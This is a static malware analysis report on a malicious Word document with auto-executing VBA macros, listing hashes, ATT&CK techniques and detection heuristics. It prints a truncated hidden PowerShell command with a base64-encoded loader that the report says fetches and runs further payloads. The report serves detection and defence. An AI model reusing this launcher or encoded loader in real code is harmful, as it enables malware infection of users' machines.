Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 3185876cb0717e3d…

MALICIOUS

Office (OLE) / .DOC

44.5 KB Created: 2023-05-25 10:12:00 Authoring application: Microsoft Office Word First seen: 2023-05-25
MD5: 608d39b18b489fa10792a8de9352159c SHA-1: d1032109625af32b329e32a255212253467ebe91 SHA-256: 3185876cb0717e3d8d6afadc8cbb2d439ad01cc3f4e172936b0d0ebc398c082c
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with AutoOpen and Workbook_Open triggers, indicating an attempt to automatically execute code upon opening. Critical heuristics indicate the use of Shell() and p-code execution, strongly suggesting the execution of a secondary payload. The VBA script constructs and executes a PowerShell command, specifically: powershell.exe -NoE -NoP -NonI -W Hidden -E JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAawBvAGMAKAAASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAOwB1AGkAbgB0ACAAZAB3A. This command is designed to download and execute further malicious content.

Heuristics 9

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
049fcb7ef72d90b80f19e07a7478e7fe9ff94c8dec87f95d47855f6335b16bdd
vba-macro oletools.olevba.extract_macros (decoded VBA source) 8132 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 27 long base64-like blob(s).